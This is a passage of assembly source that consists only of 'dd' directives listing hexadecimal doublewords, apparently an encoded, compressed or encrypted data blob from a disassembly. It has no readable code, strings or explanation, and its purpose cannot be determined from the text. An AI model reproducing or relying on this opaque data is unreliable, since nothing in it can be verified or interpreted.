0DB063EC6h, 0D69D1900h, 0B1460454h dd 7725BA3Bh, 0D04CC300h, 0B566EC76h, 0A0C6FCB4h, 79A30A1h dd 0C21B266Dh, 0CFEFB0A5h, 0F1124B41h, 0D4006AC7h, 622C80Eh dd 0E8FF04C1h, 404308F0h, 0D18DA0E7h, 0C628C772h, 0E238A4B0h dd 83007760h, 0FC7E76E5h dd 0CFE1B4h, 0C2320CDDh, 0FDF0AE3h, 2E61643Fh, 0E547746Eh dd 0C0284369h, 0FAD01714h, 0D90C006Dh, 71B25FC8h, 0EB00986Ah dd 3F5B25FAh, 0EA553B1Eh, 0A80F1765h, 85321CA7h, 0D0902471h dd 49E56A44h, 425E8D1Fh, 6F31DEC0h, 4EA85E1h, 4BB31040h dd 48DCC0D0h, 8C00DD97h, 8A6FD574h, 6B6589h, 5E720D86h dd 173C9355h, 0FEC95316h, 9A1E9C00h, 37257Ah, 674B635h dd 0D220F4D9h, 0CE1F4AF4h, 59406F07h, 85C9241Ch, 754CEA86h dd 755F00E7h, 0A6BE58EFh, 213B9F25h, 0E3B98A93h, 4B80ACF2h dd 0A6D99C32h, 36C94DEh, 5B451B19h, 80341790h, 0E100C3E2h dd 0A263C0DCh, 0F81AB75Dh, 6E8A04C8h, 800C7D4Fh, 52DD6FBDh dd 0E4278900h, 83C7E0C4h, 0B6BE0090h, 7CF58676h, 15004CB7h dd 8BF41688h, 6C5E7h, 0E4C6ADEAh, 0FE7741B3h, 0F8CF9700h dd 0A6E6A4E3h, 5C8C0F4Fh, 407FF2BCh, 0D46E4E28h, 6D00AFCEh dd 47AA142h, 3D6F070h, 1C218BE5h, 0BD802A32h, 0F0F523C0h dd 810C3379h, 4269F59Bh, 0BB4037Ch, 51CDADA5h, 4485FF80h dd 37A4491Fh, 21FD094Fh, 6F89A067h, 0B86D72C1h, 0BBD5CD03h dd 0E0EA35AEh, 76399000h, 9A4B002Ch, 14D10585h, 0D701631Ah dd 6FC2B2E6h, 802B7CA1h, 9F499068h, 0C7E1F700h, 0CFCB914h dd 12661D8Fh, 56A3C016h, 975FE552h, 171D9A00h, 0CF3526AFh dd 0BAEA000Fh, 0D0735B82h, 0BE022B34h, 7BFD7411h, 27E080B6h dd 0E8F5A06Dh, 0C979F409h, 0B0405271h, 151E2185h, 4DC761A1h dd 4F150A0h, 1040E0F7h, 26803C2Dh, 0E3A6C20h, 4B81B41Fh dd 0D83808C3h, 0F1001EF5h, 512C1463h, 6A780B7h, 0EDA62215h dd 0AE071079h, 6A7ACCE9h, 7E6DA120h, 0C6FF01ACh, 62DF4217h dd 9A336013h, 80D52E07h, 0B9AD5CFDh, 7B069081h, 0E1A55035h dd 0A747FC5Eh, 9E3AA900h, 42F44013h, 0A06526AAh, 9040341Dh dd 83497260h, 0B9F78E14h, 0E7C70064h, 6FAA8276h, 7AD317A2h dd 6AF8BDh, 0F6CFA37Bh, 48AE1F54h, 8700FD77h, 0E56DD5ADh dd 80134FAAh, 0D9000E4Bh, 0EE657139h, 0BB31002Bh, 5A2563F6h dd 0DE006816h, 0FC54AC15h, 0EEB9E8h, 4FBD2380h, 42AA359Ah dd 0ABB739h, 0F58F93Ah, 0B093Eh, 2116378Dh, 4EC75B88h dd 7900B892h, 299351E7h, 82960Bh, 9FB55AC2h, 95B07D88h dd 489ADFF5h, 0A4CB44C3h, 7B8AE100h, 0F1FFCA74h, 0B9570238h dd 0B6AF4E90h, 4A0FC8FCh, 0B07C4083h, 30306D89h, 3F7159C8h dd 3400D703h, 0AB0A657Ah, 7FEAE3E1h, 1D743DB8h, 29D48B8Bh dd 0C2F40860h, 6168E807h, 0B2A0F09Eh, 791445h, 0F82F2BB5h dd 7D853DF9h, 99A67E30h, 31C69Dh, 5D03218Eh, 6239C269h dd 3B306500h, 9A9C8F93h, 0AE735Ah, 967FF71Eh, 40EB23ECh dd 6DEAA0Eh, 0C9BA803Bh, 86014Eh, 4AD83238h, 0E4D3768h dd 2AA6B938h, 0ED00FC7Ah, 1BE163D1h, 67955ECCh, 10641977h dd 33B43C30h, 0DFAEF70Ch, 15ED132h, 0A222E8D1h, 0C0D6955Ch dd 3066AFBh, 0C0E42CADh, 9AA40531h, 812F3B56h, 8FA3A2A0h dd 377F3C59h, 87480841h, 86C0F6ABh, 9DEA00DCh, 6ABE1ACBh dd 0C0DC152h, 39940216h, 99EEE0h, 1D6E840Dh, 0B6DB6BF7h dd 3A978E00h, 7F0BCDBEh, 88A0C085h, 0A4A295A6h, 723C510Eh dd 0C9DAC086h, 0DED5BEh, 0C31C6049h, 0D99D8028h, 82004176h dd 48C70FF4h, 8552Eh, 0B0F247B7h, 76B4C97Bh, 27EF29C0h dd 0E612ED05h, 19C00031h, 9946138Eh, 4103D688h, 0B92D4BFCh dd 4DF29011h, 764748Bh, 0EDF1D03Ah, 0F65C800Fh, 0F907E1C2h dd 0FDB2ADC4h, 308A546h, 9D4BBACDh, 30AEC207h, 940005E8h dd 111C55F5h, 8A3591h, 0E8814593h, 0E93A0F95h, 0FB0C06F4h dd 100CE3EAh, 1F90F63Dh, 8060CCF1h, 0BFC64BEFh, 90CE5111h dd 182CC0DFh, 2BED3BBh, 9FDE2341h, 55C0FC30h, 36374CC2h dd 8EC8CBh, 923D64E1h, 0C3A006Dh, 56D9421Ch, 680517CFh dd 75709413h, 96468C05h, 1AFC9041h, 408C585Bh, 59593F9Eh dd 96C1A000h, 0D44C09E9h, 310D6028h, 0A78CC913h, 0AD6F4B01h dd 0B3359514h, 7DA544D8h, 12BF0059h, 0AC723EB2h, 0F16028F5h dd 30474150h, 93DD0086h, 5CD3213h, 0B578FFB7h, 0F382ED01h dd 459FB9EEh, 86898180h, 3996E635h, 0A0EC6901h, 0E85A11E7h dd 1E63F8h, 151B21D0h, 0B24B18C9h, 9450BA17h, 440084B8h dd 0CCAE0787h, 0CA748298h, 594A5230h, 0C6ABEA2Dh, 0A2A1D5F9h dd 3DCCD400h, 4806E6DCh, 0CA3F0CE9h, 76F117BBh, 527D1E01h dd 3721EAF2h, 0D73E4880h, 5B87BFB0h, 60DB9800h, 0C2454BDFh dd 0C95E4E9h, 0C9AF769Eh, 8805B208h, 0BFD09699h, 0A0749E83h dd 722DA8Eh, 0E3DB57B5h, 0DF69C719h, 0E1DF419Fh, 0F1D0626Ah dd 889EE4B5h, 100792A3h, 0F988C5Ah, 0C78D5740h, 75A400F0h dd 0E192BD7Fh, 0DB03B871h, 99BEE296h, 636AA1C2h, 0F6872E0h dd 5BCDC68Fh, 4DD0B607h, 0D95AD030h, 0BC74DB7Ch, 0B1939601h dd 0A969D48Eh, 5273DFC8h, 44764ACh, 3050F8AEh, 0B310AEDFh dd 0EB301D9Fh, 3DA921CAh, 147C013Bh, 48C3929Bh, 0E108BA73h dd 3B425421h, 19A30C4h, 9899D0C6h, 0FC914403h, 50C4C5A3h dd 3630E9A6h, 1023DB3Bh, 3CC1173h, 0E73B6F89h, 0D6B5E884h dd 6E5B0134h, 0F5366032h, 6CC8C053h, 0B14BAE18h, 1F0539C1h dd 2C7958Ch, 72D35620h, 9D1FF6E1h, 8C068421h, 119D31h dd 8D04A5BEh, 9626DA36h, 2574B2FAh, 65217560h, 0FE7021Dh dd 15583DD5h, 97A979A0h, 8430051Fh, 9EAF6891h, 0C1BF2832h dd 0C2683EA0h, 0A87B0795h, 0D6949600h, 0F5CF094Ah, 8701B218h dd 0C0C2DD08h, 0D696AD20h, 505C8F3Dh, 0C52380C0h, 3B3B04D2h dd 0AEB0ED2Eh, 35C96968h, 76395E60h, 19DC8D0Fh, 0E8BE4AA5h dd 0D8F1982Fh, 887C21h, 0D0FDEBDCh, 0E5634FE2h, 27ED240Ch dd 52AE50FFh, 0D93F9C11h, 9C0AE351h, 0BB188822h, 0CF59B0F2h dd 59F60F10h, 7F45F31Ah, 68E8204Ah, 0FEE65DB6h, 150648C0h dd 2910FBDFh, 0BBC0B198h, 4B901C6h, 25BA3681h, 7188740Ch dd 0CC041EB1h, 0F6003EF2h, 1D584F90h, 0C4A06F72h, 88ABE219h dd 0F26590FFh, 0D500ACF8h, 2C37A487h, 42FEA5h, 75DD339Dh dd 34091AE6h, 48B15924h, 76856902h, 0AE48907Fh, 36821104h dd 808388B2h, 4A04A65Eh, 510C8CF1h, 81661E9Fh, 9050FFE9h dd 0DCDB64h, 8BFC8A18h, 253E3F44h, 940BE92Ah, 0D24CB800h dd 7E97AAA3h, 0F8EA2AD6h, 0F7D307A0h, 8CD46649h, 2D00A01Eh dd 3EDAC9DBh, 403129h, 68ED0836h, 0A0A7F5D6h, 86E8B4A1h dd 0B221AF79h, 0ED3300A9h, 6CD9153Bh, 630309CAh, 0CE255E3Ch dd 1A5A7E8Bh, 20167AEDh, 4F0385DEh, 50E6455Eh, 4460707Bh dd 0A74865CFh, 2EE046Ch, 680AAADh, 502D9BFBh, 4C8A4D1h dd 49777562h, 0E8B3009Fh, 48D5544Fh, 1C84FCC7h, 3B4830EBh dd 63142381h, 570EC411h, 0D8063B41h, 7A4978E2h, 0ADA80A8h dd 8C7F0935h, 90BBE244h, 30867FB8h, 10519848h, 0D7627126h dd 64C30EB8h, 21F96074h, 5EF48D01h, 7779A300h, 0C603E22h dd 0E5C71F2Dh, 25398FB3h, 51F22767h, 40CE33FDh, 6615308Ch dd 50447048h, 3D8C916Ch, 36B504B8h, 7D243238h, 4B05C21h dd 932DD0FBh, 1EF57D6Fh, 0D5D73787h, 6062941Fh, 0C882888Ah dd 8040C29Fh, 349109BBh, 164C301Eh, 7590206Dh, 9B41FA15h dd 0DC810310h, 62D44AB9h, 7C8820D5h, 8D01F1DCh, 837B1CB2h dd 9020D2F5h, 79B9406Dh dd 91B06F1Fh, 0ADE17F80h, 0A0FEBB98h, 7F81D930h, 26CF01B8h dd 9A93A6D0h, 68E0E7A1h, 34FAAE35h, 6AF1A860h, 7F15B46Fh dd 0F72140Ah, 0B923EC30h, 38C4E71Fh, 6E628709h, 0D691B620h dd 0DFF202E5h, 447FA290h, 0B2E1F0B0h, 7F830380h, 0B1D60961h dd 0B420AE14h, 0CE620190h, 0F7E1600Ch, 4739C5h, 0A2D9E8B6h dd 2D49E408h, 0F6BC300h, 0EA85056Fh, 1E29F83Dh, 441C6C92h dd 0D1D94B03h, 0D2DC25F8h, 40198611h, 0DF0948EAh, 0B7C0F899h dd 243AD698h, 18C16081h, 6EBC3975h, 0C146D70Eh, 96E800ABh dd 508EF2F5h, 672DAC06h, 6B7F297Eh, 8E699010h, 2B6CE63Eh dd 9001FC40h, 664AA4DCh, 0CA401A18h, 0DC870E85h, 0A061B906h dd 20133B10h, 0F10A0BC0h, 0A4C541FDh, 10F7E609h, 3E3290h dd 0E1102495h, 7FF62ABBh, 0BA63663Ch, 0BA62857Eh, 3006FBB8h dd 39BB50h, 214F68FEh, 646C9907h, 0E841FB00h, 0E3A04980h dd 423401F6h, 9FB45352h, 20C76A7h, 147E3B4Bh, 10C0316Bh dd 3B4056h, 0FFE3310Ah, 7A1A10BAh, 64A590A8h, 2BE85100h dd 7BF1126Bh, 83B801D8h, 7A4D1FD6h, 0D9D820DCh, 0F773FD13h dd 261CA040h, 4FF6E8Fh, 354D29B0h, 0EE8081BAh, 88F04EEFh dd 0DB44C065h, 430097D7h, 89943499h, 17CB3B0Dh, 3AB79272h dd 0C62384h, 4B071865h, 770C8A4Ah, 21A0467Fh, 0F5241669h dd 10BC417Bh, 84654215h, 6BB691E8h, 1AC40CCBh, 0D93330CAh dd 0D1240102h, 0A261147h, 9B1C042h, 78505472h, 855C8190h dd 8C8ABCA8h, 0D21F1C7Fh, 2A813F39h, 5B9A375h, 4AE8E8EEh dd 0BC57501Ah, 80048C78h, 6F0936D6h, 9200C138h, 0FD2CABD6h dd 49CD4Ah, 7B5F7A08h, 752E4D30h, 2C1D6CB2h, 0D2209EBFh dd 15780438h, 7F4707D0h, 259AE31Fh, 4148D25Ah, 8C562340h dd 40337138h, 0CC904EC3h, 81733232h, 1656C0D6h, 0DA11C070h dd 7A719ACAh, 0A115D809h, 0A4F98029h, 0C07C4F3Dh, 3668C4EAh dd 0EE282672h, 0F25D9424h, 1C2BC90h, 70855AA5h, 72F7781Bh dd 1950028h, 0EBF9DEA4h, 0A83200E6h, 443187EDh, 0BC75CFA2h dd 0ADD6700Ah, 4C01381Ch, 9F4AB0A8h, 9911182h, 38E1F5C7h dd 947BE443h, 4674E494h, 0A9FC3BC5h, 5484BC24h, 0F000C471h dd 0F319D5F5h, 134FB00Ah, 465630B4h, 21F100C2h, 0A3CC54CAh dd 0E3421C93h, 2C038313h, 680F95C5h, 0AC7F0168h, 0B130399Dh dd 1EBF0050h, 82DD6791h, 9CD2D716h, 0E8C8B850h, 0D3078C82h dd 419C037Fh, 131078FCh, 0BE0DF6h, 24B7E1ACh, 0D0907312h dd 8052D09h, 15C840C9h, 64E989B2h, 588C43E8h, 4A163B8Fh dd 86E8386Eh, 3DC8207h, 1227DD7h, 0AE510CDFh, 32251898h dd 0ABECA5A0h, 3B37B060h, 4B1026DAh, 6C8A70B8h, 0D3273B00h dd 0E7CD4EB7h, 0E80518CEh, 9A7FB8A5h, 77C032FFh, 87CC3058h dd 84F96DB9h, 249437BFh, 0CDE0C0A6h, 3C2E91A2h, 9FA04CD1h dd 3030A490h, 0AEB529AFh, 0B99F0024h, 2CA7A488h, 0B20152F7h dd 3BFD4FF5h, 6470A6A3h, 0ADFA25B8h, 40940024h, 3CF60C4Ah dd 0A124068Ch, 0B8A312C6h, 84A6972h, 92AE184Fh, 74808C35h dd 1792B310h, 5D422D30h, 1DED45D4h, 1814C65Fh, 0EBF40254h dd 0E8D0265Ch, 1CA4327h, 68877110h, 7470EF49h, 9AC404Dh dd 0BC403090h, 182CB0CAh, 0A1B33123h, 861EB53Bh, 3CE9F0C2h dd 86C9D670h, 1557CE06h, 2AD877C2h, 3EF08319h, 0E8804923h dd 0DB121C1h, 0E514C782h, 7994581Eh, 40184B80h, 0F512D56Ch dd 8440059Bh, 0E8D65AE1h, 95AA0223h, 0DCE21D10h, 304A9101h dd 0C1926C20h, 16AD6669h, 0ECDC391Ch, 7F801BEDh, 0E1E0D92Eh dd 0C860E92Fh, 0EC483011h, 480A732Ch, 1967876Fh, 0D2C4A0F3h dd 0C6ECDC67h, 0D0E15226h, 641865C9h, 88A86077h, 0A53E00E5h dd 59453DC4h, 0BF51F502h, 164C51E4h, 0EBD05071h, 92005D0Dh dd 968AB5D2h, 77D1FBh, 0BFD70564h, 98AE82BBh, 80B81948h dd 9E80C3Dh, 0E9CF01EBh, 45AE4E1Ch, 3B50231Dh, 0D270DC60h dd 73C8A88Bh, 0A3249BC0h, 57851F70h, 0AE682414h, 0BB215C3Ch dd 5B9D80C9h, 0AF1BC677h, 0AA56020Bh, 238CA262h, 0E44C65B4h dd 0A17261CDh, 0E0C6E3D1h, 5855B2BAh, 2D26E4E1h, 0F5904044h dd 30B025D1h, 0A5F00101h, 690F2CBAh, 2FD2FC42h, 438F0740h dd 6C005C16h, 3468738Ah, 53EF94Ah, 9658324Ch, 884CCED2h dd 0A851C078h, 3438D4D8h, 0B86A0F1Ah, 2F79B8EDh, 0E9BD2403h dd 1A6640C0h, 41005BABh, 4311FD28h, 0FFEF0Eh, 37B1E126h dd 0CE4FDC8Ch, 3672CF02h, 60C86BFDh, 5D2D44C4h, 842E74EEh dd 0B38DCCCh, 0FD6F805Dh, 0C7E560D1h, 0ABE9304Dh, 70A19D99h dd 6D95942Eh, 8768500Eh, 4CA526C5h, 0C9B794C1h, 0C8407A0Ch dd 46484A7Fh, 71A73054h, 0D405EC03h, 908A9DC4h, 4A6F555h dd 67399EE1h, 0D4E906C2h, 0BC6F0051h, 5BFB65EEh, 7100733Eh dd 0B515B136h, 0C398BE3h, 6B19C47Dh, 9100ED39h, 8021A4E4h dd 3BA38431h, 8609BF4Dh, 9B8230DCh, 6CE4C10Bh, 80BC1948h dd 493B4485h, 0CFE3003Fh, 0E06104B3h, 0EB4BCC16h, 4A24CDA8h dd 9EFA3368h, 6FD138h, 20D549ECh, 0B7C708h, 0B989A0C8h dd 817BAB7Fh, 8E2BD33Fh, 2BB06F83h, 0BB20101Ch, 96F73091h dd 0D8050A49h, 3804EE05h, 9881D99Bh, 382057E1h, 60444C7Fh dd 0F83BE0D8h, 0AC15F8A8h, 980FBF10h, 0A4029523h, 0E2369004h dd 89F81964h, 21C7010h, 44618303h, 0EBDB5AB9h, 62B3E234h dd 0CD9882D4h, 605062C0h, 9E863A13h, 77465C70h, 88AA3200h dd 80913C7Bh, 0F52E6773h, 1A784F1h, 2B7FC638h, 0F00FD422h dd 20DA091Dh, 1C625C67h, 0B78C18CAh, 75A5B000h, 0F5365DE0h dd 7D98A82Fh, 403A4BEAh, 2E9BFB64h, 0C5009420h, 0B28855C9h dd 73FD3B09h, 0BE0B01Ah, 1542385Eh, 219E4C24h, 3E59F75h dd 29DAF420h, 0A4C42EA6h, 55C20C8Ch, 13065630h, 224408CCh dd 0DF153F69h, 0B3A300F4h, 0CD826DBDh, 65079136h, 0E2ACA4EAh dd 0D0B24AA0h, 37066h, 5A8BDE9Bh, 4D41CD7Eh, 0E825DD00h dd 7F22084Ch, 4F801E5h, 8D01FFCCh, 71A4E089h, 48E7A600h dd 0EF95C910h, 0ECBD00F9h, 128BE69Ah, 9D05625Fh, 31E0FBF5h dd 36DF7BC1h, 24EB70h, 0EEA2DD41h, 1C8FB0C2h, 8AC72C3Bh dd 0C8D3AD32h, 0EA7BE900h, 0BE814FE8h, 0C2465E0Ch, 12BAF800h dd 1A5FEA37h, 0FA2C1EC2h, 4C84D87Fh, 0DE0004CCh, 2F836801h dd 0EBEACE0Dh, 2444033Eh, 30094CADh, 6C3020BAh, 82E090h dd 0F421D3Fh, 0CFF37457h, 0EAE048EAh, 0A05D260Ah, 0C209FC9Fh dd 658CB214h, 6380C4E0h, 0B863A8E1h, 89DA311Ch, 68762848h dd 8CE2F800h, 205E222Fh, 0AD510BD4h, 91A70288h, 4818381Dh dd 0E5704CF3h, 18BE7254h, 916C3B9Fh, 0AD244481h, 28A6ECCFh dd 0E8AB14h, 916A8BCCh, 25D1EE01h, 24A05ED9h, 87149861h dd 0E8DCAD00h, 26548407h, 0C4695F2Fh, 36E780C0h, 107CE2E1h dd 4800A94Ah, 0EE694F08h, 13C57456h, 0C033ED24h, 0A64D2248h dd 7207045h, 909E69A1h, 56C0444Dh, 0C946A2Fh, 8806EE46h dd 0B70335E9h, 8D0EA73Ch, 7470E87Fh, 0B51D3CCCh, 5C26FCD8h dd 826E1128h, 62AEDC82h, 60A851ECh, 4EDCB96Fh, 65C35216h dd 96946408h, 87BC0469h, 7E35009Ah, 0B88C4E8Eh, 2B14660h dd 10E83B49h, 5870547Bh, 3B003E88h, 0D4A2D237h, 0E68BEBE1h dd 3A2B0619h, 60F2C7FDh, 8C28484Ah, 5281427Ch, 307DE214h dd 9700DFB9h, 62108AACh dd 16E8403Dh, 201FADE6h, 1B08BB10h, 0A8E0E8B4h, 72D52Ah dd 2E4205ABh, 32BE6A49h, 50C3400Fh, 0B5E4404Bh, 7F6DB991h dd 69918D6h, 26F1B97Fh, 3E245301h, 60DC8E95h, 0B08660h dd 91F2CAE2h, 0B930B87Fh, 1AD681C0h, 58CFFh, 0DEB1ABEBh dd 4BA01467h, 845FBA0Bh, 947C6337h, 0B8DCC067h, 0E8A7864Ah dd 0DC7B8100h, 0E860CC65h, 893C1309h, 28288DB1h, 9C922F8h dd 9FEA4D30h, 7BBF800h, 16506912h, 79004868h, 38EAA7DAh dd 0E6A2C2AAh, 148F71C6h, 802FB956h, 0F920901h, 708EB730h dd 91336970h, 3D3BFA03h, 92809EE9h, 848F177Bh, 84A0740Dh dd 0A4BC1B13h, 34092F01h, 0A892D881h, 88E49A1Ch, 7A0C06Eh dd 484CB5ACh, 0AD89160Ch, 8C8774CCh, 77C57D64h, 0AC0164CEh dd 0E9F2D697h, 8F3F10D7h, 14DB0149h, 927EBACCh, 4AEC2996h dd 0FFC0FC9Ah, 3F40F8B9h, 64B81A00h, 0E539F16Ah, 10985F2Fh dd 0B7BF0C0h, 9532D847h, 67600E0h, 0EDFE150Bh, 0C92C9010h dd 0BC02F0F3h, 69B1B2E0h, 27E22045h, 2CB418CAh, 0C8953004h dd 4C16A29h, 0AE00CC8Fh, 71CB8410h, 5F046819h, 0CEEA0Ch dd 0BECB80EAh, 76502316h, 807B5E39h, 693DE74Ah, 619805D6h dd 30E848A9h, 0C6DC10B0h, 7106072Fh, 404C7515h, 92F8D18Ch dd 28FF4605h, 0E07EDDh, 892B60FDh, 992612E8h, 7F8841F9h dd 82842C2Eh, 20F55FDh, 285C6BC8h, 0CA1A215Ch, 69E702BEh dd 79509997h, 0A7F500F4h, 4A74B67Eh, 0B3FB6A12h, 0C07B2808h dd 9360AD9h, 0DC229746h, 0D693C000h, 0E4E3723Fh, 0AAE578CEh dd 1F3420F4h, 76FC69Dh, 17B66A6h, 352920E1h, 6490CD7Dh dd 0F0167C29h, 39FC8800h, 5B475E3Fh, 91E42849h, 1881C840h dd 4080C52Ch, 0EC52B8B9h, 20502FF8h, 440CA2C0h, 25719Dh dd 5C455F26h, 1C88399Ah, 0E9B79C02h, 70C8D3D4h, 975030B8h dd 0E5DC5D39h, 21DCD0Fh, 3CD0967Ch, 0E2F9463h, 0F05A0D90h dd 54564140h, 349E6A80h, 91B8956Bh, 1EF58080h, 529EE336h dd 89048438h, 0D0A6DD54h, 5EE1B574h, 7F6F6A0Ch, 48AFE941h dd 77106480h, 40E825C2h, 6031E1FCh, 649F61A6h, 4F000B42h dd 53775467h, 6331E836h, 0F07221ADh, 0B4F91CC0h, 24B59B01h dd 2B399D30h, 5BF88FD1h, 831616A8h, 91AC808Eh, 2D0F3E18h dd 85E2A444h, 8DB1A637h, 13617DE4h, 12B13ACBh, 6920CC80h dd 0E7F5BC0Bh, 452CA7F0h, 0DD5673C4h, 0B2507250h, 0C8E430C5h dd 48E9FD3Eh, 134F129Ch, 0C2F24CA2h, 79825F30h, 6B12003Fh dd 6250945Eh, 0B4EC4FEAh, 0C0644CA5h, 418D3360h, 0EEF0FA01h dd 0F3D45DCEh, 95080039h, 18A910F9h, 83187471h, 0AE338800h dd 0E35FD978h, 2180ED31h, 80DDCC52h, 0C0003206h, 0DFEB5A3Dh dd 5D08EFh, 0E1EE3A43h, 97762549h, 38ED90B0h, 5CC887D8h dd 0C4F6BF00h, 0BC06007Dh, 0E991A8ECh, 0A31DF20Eh, 0E6C09B0Fh dd 5EB418E2h, 0CC39C2CBh, 5DE0BD92h, 0A200B940h, 0D7022EE8h dd 0B06F6C7Dh, 3FA61F5Eh, 58802510h, 97F79D0h, 0F01442Fh dd 4B178F0Ch, 0B3D0A24Fh, 0EEE301C0h, 0D3D828A2h, 0DD23742Eh dd 0AE90ED01h, 498CBB16h, 0E3417719h, 0FE025CB0h, 2841301Fh dd 1DBE6072h, 2D15B89h, 757144D4h, 10A2B304h, 0E030C7E2h dd 9BD0630h, 48C50554h, 8D36B513h, 9F30D8B2h, 87DDE931h dd 0A100E87Eh, 544B7031h, 2DF6AE2h, 152C57DCh, 1842E77Ch dd 303D5066h, 6C8680EFh, 69A7A966h, 0B55D0EB9h, 0CBFE4C60h dd 7401A516h, 94CBEDh, 0F522154Ah, 2D09BC24h, 3817C8E3h dd 32818091h, 0FD39A8FDh, 184BF793h, 0BF80A49Bh, 0E52281Fh dd 7EBB6500h, 0ADD657E2h, 70909D15h, 0FC40B805h, 0C1F50AEh dd 97F51639h, 0B89C219Dh, 3F8795Eh, 0BE0E4C94h, 0AB18058h dd 0A38701BBh, 1E2D4170h, 0C29E008Ch, 0FA135119h, 2C8C0C2Fh dd 0ED192740h, 558BBAFh, 544FF840h, 2549229h, 6FDE869h dd 0E448D96Fh, 6E81CFE7h, 400A6430h, 0E80CB91Fh, 48FD085Dh dd 0BBD60942h, 0BC98E2E1h, 2B1F512Fh, 4080788Eh, 0BC573E05h dd 85AD0043h, 914707C2h, 4603870Bh, 0F412E7AFh, 9811F2E1h dd 40A7ED80h, 359569F5h, 12A8038h, 437F40FAh, 0AC1495h dd 6E8EEEA3h, 299B7D11h, 2FD2E0Ch, 0E8CFF849h, 7AA200C9h dd 0C0A9B45Dh, 5183A68h, 0CF90ABB0h, 4523009Eh, 0F691C637h dd 0BB27CA20h, 6938C9F2h, 0BBB81068h, 103C943h, 970D6438h dd 0A203D1F8h, 0B8346A2Eh, 7FB38B40h, 70DB0012h, 0CB8965EDh dd 7704BCF6h, 52F525C6h, 67F2F8E2h, 17A1E230h, 1226DFF0h dd 5074B0F4h, 0CEC3C2Ch, 917C972Dh, 148681C5h, 0A8684DFEh dd 9AA3D07h, 0F1B126B9h, 0B548CF02h, 0E03F6E9Ah, 4A3D9CBCh dd 4584C28Ah, 78792059h, 5200D318h, 2721BC09h, 7F1E10DCh dd 10749A71h, 7FC7DD2Ch, 8C94B44Ch, 9B416Dh, 2F46BCC6h dd 4D1E12E3h, 2638B56Bh, 99975E0h, 9233EDF0h, 0D4C8000Bh dd 2E091CECh, 67FE7121h, 60DC447Ch, 719920E5h, 0B06109E8h dd 0E4F8164Ch, 25AA2704h, 0FC8A359Eh, 49AB210h, 9F224203h dd 320434EDh, 83B0FFDEh, 1F8489D4h, 2CE42013h, 9B417A5h dd 0D12CC8DDh, 2B8A0500h, 22C62E28h, 0AB130198h, 0FF15DA25h dd 0B8C429BAh, 8F30516h, 0DBCF8D6Ch, 3150C578h, 3B6C8E4h dd 5B69ABD3h, 0ECC78392h, 1E73AE0h, 298FA530h, 358046E9h dd 0BE686DC6h, 4B0B6402h, 7201B86Ah, 0C8AE4B9Ch, 24022720h dd 0B06FB9D0h, 78F2EAh, 91F20AC7h, 0ADCB325Fh, 20C87C98h dd 0DCCD8093h, 0F672FAF3h, 208BC103h, 0FBB87F05h, 0EE597538h dd 2C3297D9h, 0CC5B8471h, 0D2EC0260h, 9EA55D16h, 0EB050A7h dd 620007DBh, 0F3CE3633h, 48D1FDF0h, 518E8CB6h, 0BBDC38F6h dd 295C88h, 838FD8D3h, 175207D1h, 0ACF4DF00h, 0BA5E263Fh dd 2BFD0547h, 0C8EA3115h, 0E68C96F8h, 368F0B04h, 941626CAh dd 4A77300h, 59BC2A5Dh, 0F170042Dh, 0C1D14031h, 8BB10Ch dd 0B1817F10h, 0CA19D004h, 0F27486h, 844CBBE9h, 0AE4A5C9Bh dd 0BB21422h, 0FD442CD5h, 855E4460h, 0FF5C58BEh, 4800B018h dd 873098FAh, 4ABA098Ah, 66DCC83Bh, 5A00C3B0h, 534592FCh dd 9D29630h, 8D673854h, 0E279DC51h, 7F2CD918h, 0FE586C3Ch dd 1CD5007Dh, 2160FBE9h, 0C2EAFDECh, 6F11A4B1h, 0B3DC8380h dd 0E8918E4Ah, 0DC8682C0h, 12F41235h, 10A004DDh, 0FDB943B1h dd 0B558A65Bh, 31531090h, 3899F600h, 4AE9ED3Bh, 0FC819DD9h dd 2FAAA35Eh, 442A3824h, 2B001C23h, 0E67829D0h, 1A42137Eh dd 9778B507h, 0F4087A39h, 13D82A0h, 1468044Ch, 65582612h dd 0D448208h, 79180C75h, 4988F3EEh, 892184B2h, 0A58D0827h dd 0E8DFD713h, 48102D3Ch, 4B30064Eh, 4917717h, 0B90AEF8Bh dd 51B0AD03h, 5129FE44h, 8D003F14h, 0CACEC80Fh, 0E600867Eh dd 53A7D60Ch, 0BE53542h, 84990D93h, 0A067C4CDh, 9A7893F0h dd 6894951Ch, 80B0FC3Eh, 605842D3h, 0EEC2E3E8h, 5FA1004Ch dd 8E35F6ADh, 9802CE2Bh, 0AE3DACA5h, 2DA8C415h, 0C4C803BBh dd 3858B65Bh, 18A096B0h, 0AB2801F6h, 6FBD597h, 0A2143396h dd 0A1BC3074h, 22655700h, 32D05ADEh, 87FCA4h, 93B77A86h dd 8A1CBEA9h, 96BF5506h, 2310AA0Fh, 863E606Ch, 0B18B7954h dd 55DB0D31h, 6F41B27Bh, 4FE9403Ch, 69A00B30h, 0A2596C53h dd 0C5F88282h, 0D85A1DADh, 0C858FFE8h, 0D67EB250h, 67465E44h dd 24837201h, 0FDEDF3AEh dd 0C02C6C4Dh, 7F6DE1CFh, 99DF30h, 9038E83h, 81601F9Fh dd 26AE4E29h, 457F3EB7h, 0B89E3044h, 34C0259Fh, 1D80B437h dd 0C6E404EEh, 0E6B031EFh, 0E8D0E060h, 6F6900E2h, 0F026B0AEh dd 9260F7E1h, 0F6FEF879h, 0E756168Eh, 0A9FF80Dh, 0A030D058h dd 1D7E8140h, 2CDE00F4h, 7B3FE0E9h, 0D400A18Ah, 0A7D1EFCCh dd 782EADD6h, 477C0010h, 1557E153h, 509EEAD8h, 18824676h dd 0CC597EC1h, 34F51CF6h, 2041537Fh, 0AACA4804h, 8707D701h dd 1C13E2E1h, 0D68DDC4h, 920A4191h, 0B330CE78h, 36831604h dd 5F3438AAh, 7904AB00h, 0DD5D9FD9h, 39FB02D7h, 85EDB88Ah dd 7A49AE22h, 7F7E1494h, 2080F443h, 0AB510AE0h, 9BF59104h dd 8CC70BDFh, 2C882DF5h, 40209FE9h, 5CE3F83h, 65F1B45Eh dd 9CF4CF0h, 8A5B8063h, 5C920C04h, 0F0E03ADEh, 30CF39D6h dd 0EA3024C9h, 0EDBB9DA0h, 9569E044h, 0BE117417h, 5D1C5A80h dd 0B4011654h, 2C0F1507h, 0E055C42Dh, 77888C8Eh, 0E017FFC0h dd 0AAFE0B27h, 286401EFh, 618A1107h, 0C40DCFFh, 1B789C92h dd 0F1B21EF7h, 19CCBACh, 3FDFA82Dh, 0CDF0C15Eh, 87B50447h dd 0BD31E979h, 53200F34h, 0F725E5B0h, 